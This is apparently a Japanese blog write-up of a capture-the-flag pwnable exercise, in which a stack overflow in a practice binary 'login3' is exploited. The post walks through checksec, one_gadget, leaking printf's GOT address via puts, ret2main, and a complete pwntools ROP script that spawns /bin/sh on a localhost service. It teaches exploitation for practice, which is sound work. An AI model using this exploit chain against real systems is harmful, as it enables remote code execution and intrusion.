🎉

pwnable: Return-Oriented Programming

2023/02/19に公開

参考: GitHub - kusano/ctfpwn_challenge

wget http://localhost:10081/files/login3
wget http://localhost:10081/files/login3.c
wget http://localhost:10081/files/libc-2.31.so
で実行ファイルとソースコードとライブラリを入手します。

nc localhost 10003 でlogin3を実行します。
$ nc localhost 10003
ID: admin
Login Succeeded

ソースコードを確認してみます。

    printf("ID: ");
    gets(id);

    if (strcmp(id, "admin") == 0)
        printf("Login Succeeded\n");
    else
        printf("Invalid ID\n");
}

フラグがないので、/bin/shの取得を目標にします。

1, checksecで分析する
$ checksec --file=login3
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   70 Symbols

canaryが無くバッファオーバーフロー攻撃ができそうなこと、
No PIEより実行時のメモリアドレスがランダム化されないことが分かります。

2, One-gadget RCE

One-gadget RCEとは、戻りアドレスを変更し、libcの/bin/shを呼び出すガジェットです。
one-gadgetを使う前に、ASLRを無効化しlibcが配置されるアドレスを検索します。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
$ echo "int main(){}" | gcc -x c - -o rce_test
$ LD_TRACE_LOADED_OBJECTS=1 ./rce_test
        linux-vdso.so.1 (0x00007ffff7fce000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7dc3000)
        /lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcf000)

0x00007ffff7dc3000にlibc.so.6が配置されます。
次にone-gadgetで、/bin/shのアドレス0x00007ffff7dc3000との相対距離を調べます。

$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0xe3b2e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b31 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b34 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

ASLRが無効な環境では0x00007ffff7dc3000 + 0xe3b34 を呼び出すことで、シェルが起動します。

3, ASLRの回避

以下のコードでprintfとputsのアドレスの差分を見てみます。

#include <stdio.h>
int main()
{
        printf("printf : %p\n", printf);
        printf("puts : %p\n", puts);
}

コンパイルし実行します

$ ./aslr_test
printf : 0x7f75e9903cc0
puts : 0x7f75e9926450 # アドレス差は0x22790
$ ./aslr_test
printf : 0x7fed27a6fcc0
puts : 0x7fed27a92450 # アドレス差は0x22790

アドレス自体はランダムですが、putsとprintfのアドレス差は0x22790と一定です。
また、objdumpでprintfとputsのシンボルのアドレスを調べます。

$ objdump -d login3
0000000000401030 <puts@plt>:
  401030:       ff 25 e2 2f 00 00       jmpq   *0x2fe2(%rip)        # 404018 <puts@GLIBC_2.2.5>
  401036:       68 00 00 00 00          pushq  $0x0
  40103b:       e9 e0 ff ff ff          jmpq   401020 <.plt>

0000000000401040 <printf@plt>:
  401040:       ff 25 da 2f 00 00       jmpq   *0x2fda(%rip)        # 404020 <printf@GLIBC_2.2.5>
  401046:       68 01 00 00 00          pushq  $0x1
  40104b:       e9 d0 ff ff ff          jmpq   401020 <.plt>
....
  40121f:       e8 1c fe ff ff          callq  401040 <printf@plt>

次にgdbで、libc内のprintfのアドレスを調べます

gdb-peda$ b *0x40121f
Breakpoint 1 at 0x40121f
gdb-peda$ r
Breakpoint 1, 0x000000000040121f in main ()
gdb-peda$ x/1xg 0x404020
0x404020 <printf@got.plt>:      0x0000000000401046
gdb-peda$ ni
gdb-peda$ x/1xg 0x404020
0x404020 <printf@got.plt>:      0x00007ffff7e24cc0 # printf呼び出し後、libc内のprintfのアドレス

printf実行後の0x404020の値から、libc内のprintfのアドレスが分かります
libc内のprintfのアドレスが分かれば、アドレス差分から/bin/shを呼び出せそうです。

4, Return-oriented programming

Return-oriented programming(ROP)とは、スタックバッファオーバーフローで
ret直前のアドレスへのジャンプを重ね、目的の処理を実行する手法です。
objdumpでputsのアドレスを取得します。

$ objdump -d login3
...
  40124e:       e8 dd fd ff ff          callq  401030 <puts@plt>
  401253:       eb 0c                   jmp    401261 <main+0x80>
  401255:       48 8d 3d c3 0d 00 00    lea    0xdc3(%rip),%rdi        # 40201f <_IO_stdin_used+0x1f>
  40125c:       e8 cf fd ff ff          callq  401030 <puts@plt>

puts()関数はアドレスが0x401030 で固定なので、このアドレスを実行することを目的とします。
puts()関数は、rdiが第1引数となります。
スタックに値を書き込み、rdiにpopし、puts()を呼び出す処理が必要です。
pedaのdumpropを使います。

$ gdb login3
gdb-peda$ start
gdb-peda$ dumprop
$ cat login3-rop.txt | grep "pop rdi"
0x4012d3: pop rdi; ret

0x4012d3にpop rdiがあります。
dumpropは直後にretがある命令だけを探しているため、0x4012d3をスタックに置き、
その後puts()関数のアドレスを書いておけばputs()関数を呼び出すROPの完成です。
puts()でprintf()関数のアドレスを取得し、その後、"もう一度main()を呼び出す"ことでlibcのアドレスを変化させず再度ROPができます。
main()関数をもう一度呼び出す手法を、ret2mainと呼びます。

5, スタックの確認
アドレス サイズ 内容
rbp-0x20 0x20 id
rbp 0x08 古いrbpの値
rbp + 0x08 0x08 mainから戻るアドレス

これを以下のように書き換えます

アドレス サイズ 内容
rbp-0x20 0x20 aaaa... id
rbp 0x08 aaaa... 適当な値
rbp+0x08 0x08 0x4012d3 pop rdi; ret
rbp+0x10 0x08 0x404020 printfのGOT(Global Offsets Table)
rbp+0x18 0x08 0x401030 PLT(Procedure Linkage Table)のputs
rbp+0x20 0x08 0x4011e1 main

このようにスタックを書き換えれば、
pop rdi; ret → printfのアドレスがrdiに → puts(rdi) → main()
と関数が呼び出されていきます。

6 pwntoolsでフラグを獲得

以下のコードでフラグを取得します。

from pwn import *

elf = ELF('login3')
context.binary = elf
s = remote('localhost', 10003)

rop = ROP(elf)
rop.puts(elf.got.printf)
rop.main()
print(rop.dump())
s.sendlineafter(b'ID: ', b'a'*0x28 + rop.chain())

s.recvline()
printf = s.recvline() # rop.puts(elf.got.printf)の結果を受け取る
printf = unpack(printf[:-1].ljust(8, b'\0'))

libc = ELF('libc-2.31.so')
libc.address = printf - libc.symbols.printf
rop = ROP(libc)
rop.execv(next(libc.search(b'/bin/sh')), 0)
print(rop.dump())
s.sendlineafter(b'ID: ', b'a'*0x28 + rop.chain())

s.interactive()

Discussion